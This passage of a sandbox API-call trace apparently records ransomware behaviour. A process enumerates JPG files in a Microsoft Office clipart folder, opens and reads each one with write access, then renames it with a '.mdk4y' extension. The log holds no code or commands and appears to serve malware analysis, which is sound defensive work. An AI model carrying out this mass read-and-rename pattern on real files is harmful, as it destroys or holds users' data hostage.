(in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3615, lpOverlapped=0x0) returned 1 [0169.035] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824426500000) returned 1 [0169.035] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824426500000) returned 1 [0169.035] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341636.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341636.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341636.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341636.jpg.mdk4y")) returned 1 [0169.037] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.037] AreFileApisANSI () returned 1 [0169.037] GetACP () returned 0x4e4 [0169.037] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0341645.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0341645.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0169.037] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341645.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341645.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.038] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824426800000) returned 1 [0169.038] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2026, lpOverlapped=0x0) returned 1 [0169.056] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824428600000) returned 1 [0169.056] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824428600000) returned 1 [0169.057] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341645.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341645.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341645.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341645.jpg.mdk4y")) returned 1 [0169.058] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.058] AreFileApisANSI () returned 1 [0169.058] GetACP () returned 0x4e4 [0169.058] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0341653.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0341653.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0169.058] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341653.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341653.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.059] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824428900000) returned 1 [0169.059] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3df7, lpOverlapped=0x0) returned 1 [0169.071] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824430100000) returned 1 [0169.071] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824430100000) returned 1 [0169.071] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341653.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341653.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341653.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341653.jpg.mdk4y")) returned 1 [0169.073] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.073] AreFileApisANSI () returned 1 [0169.073] GetACP () returned 0x4e4 [0169.073] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0341654.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0341654.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0169.073] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341654.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341654.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.073] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824430300000) returned 1 [0169.073] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3d7f, lpOverlapped=0x0) returned 1 [0169.079] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824430900000) returned 1 [0169.079] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824430900000) returned 1 [0169.080] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341654.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341654.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341654.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341654.jpg.mdk4y")) returned 1 [0169.081] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.081] AreFileApisANSI () returned 1 [0169.081] GetACP () returned 0x4e4 [0169.081] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0341738.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0341738.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0169.081] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341738.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341738.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.081] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824431100000) returned 1 [0169.081] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4ec6, lpOverlapped=0x0) returned 1 [0169.093] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824432300000) returned 1 [0169.093] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824432300000) returned 1 [0169.093] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341738.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341738.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341738.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341738.jpg.mdk4y")) returned 1 [0169.094] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.094] AreFileApisANSI () returned 1 [0169.094] GetACP () returned 0x4e4 [0169.094] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0341742.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0341742.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0169.095] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341742.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341742.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.097] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824432700000) returned 1 [0169.097] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x49ba, lpOverlapped=0x0) returned 1 [0169.102] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824433200000) returned 1 [0169.102] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824433200000) returned 1 [0169.103] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341742.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341742.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341742.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341742.jpg.mdk4y")) returned 1 [0169.104] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.104] AreFileApisANSI () returned 1 [0169.104] GetACP () returned 0x4e4 [0169.104] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0382836.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0382836.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0169.104] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382836.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382836.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.105] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824433500000) returned 1 [0169.105] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x10bdc, lpOverlapped=0x0) returned 1 [0169.142] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824437200000) returned 1 [0169.142] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824437200000) returned 1 [0169.143] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382836.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382836.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382836.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382836.jpg.mdk4y")) returned 1 [0169.144] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.144] AreFileApisANSI () returned 1 [0169.145] GetACP () returned 0x4e4 [0169.145] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0382925.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0382925.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0169.145] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382925.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382925.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.145] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824437500000) returned 1 [0169.145] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1ce5a, lpOverlapped=0x0) returned 1 [0169.159] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824438900000) returned 1 [0169.159] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824438900000) returned 1 [0169.161] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382925.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382925.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382925.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382925.jpg.mdk4y")) returned 1 [0169.162] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.162] AreFileApisANSI () returned 1 [0169.162] GetACP () returned 0x4e4 [0169.162] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0382926.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0382926.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0169.162] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382926.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382926.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.164] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824439400000) returned 1 [0169.164] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1672c, lpOverlapped=0x0) returned 1 [0169.183] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824441300000) returned 1 [0169.183] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824441300000) returned 1 [0169.185] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382926.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382926.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382926.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382926.jpg.mdk4y")) returned 1 [0169.186] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.186] AreFileApisANSI () returned 1 [0169.186] GetACP () returned 0x4e4 [0169.186] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0382927.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0382927.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0169.186] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382927.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382927.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.186] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824441600000) returned 1 [0169.187] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1f86c, lpOverlapped=0x0) returned 1 [0169.211] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824444100000) returned 1 [0169.211] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824444100000) returned 1 [0169.213] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382927.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382927.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382927.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382927.jpg.mdk4y")) returned 1 [0169.214] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.214] AreFileApisANSI () returned 1 [0169.214] GetACP () returned 0x4e4 [0169.214] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0382930.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0382930.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0169.214] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382930.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382930.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.215] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824444500000) returned 1 [0169.215] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1b83a, lpOverlapped=0x0) returned 1 [0169.224] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824445400000) returned 1 [0169.225] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824445500000) returned 1 [0169.226] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382930.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382930.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382930.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382930.jpg.mdk4y")) returned 1 [0169.227] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.227] AreFileApisANSI () returned 1 [0169.227] GetACP () returned 0x4e4 [0169.227] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0382931.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0382931.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0169.227] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382931.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382931.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.228] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824445800000) returned 1 [0169.228] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1df43, lpOverlapped=0x0) returned 1 [0169.230] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824446000000) returned 1 [0169.230] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824446000000) returned 1 [0169.232] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382931.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382931.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382931.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382931.jpg.mdk4y")) returned 1 [0169.232] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.232] AreFileApisANSI () returned 1 [0169.232] GetACP () returned 0x4e4 [0169.233] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0382938.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0382938.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0169.233] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382938.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382938.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.234] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824446400000) returned 1 [0169.234] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x184d3, lpOverlapped=0x0) returned 1 [0169.248] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824447800000) returned 1 [0169.248] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824447800000) returned 1 [0169.250] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382938.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382938.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382938.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382938.jpg.mdk4y")) returned 1 [0169.251] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.251] AreFileApisANSI () returned 1 [0169.251] GetACP () returned 0x4e4 [0169.251] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0382939.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0382939.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0169.251] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382939.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382939.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.252] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824448200000) returned 1 [0169.252] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1aba5, lpOverlapped=0x0) returned 1 [0169.253] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824448300000) returned 1 [0169.253] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824448300000) returned 1 [0169.255] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382939.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382939.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382939.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382939.jpg.mdk4y")) returned 1 [0169.255] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0169.255] AreFileApisANSI () returned 1 [0169.255] GetACP () returned 0x4e4 [0169.255] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0382942.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0382942.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0169.255] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382942.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382942.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0169.256] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824448600000) returned 1 [0169.257] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1653a, lpOverlapped=0x0) returned 1 [0169.258] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824448800000) returned 1 [0169.258] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824448800000) returned 1 [0169.259] 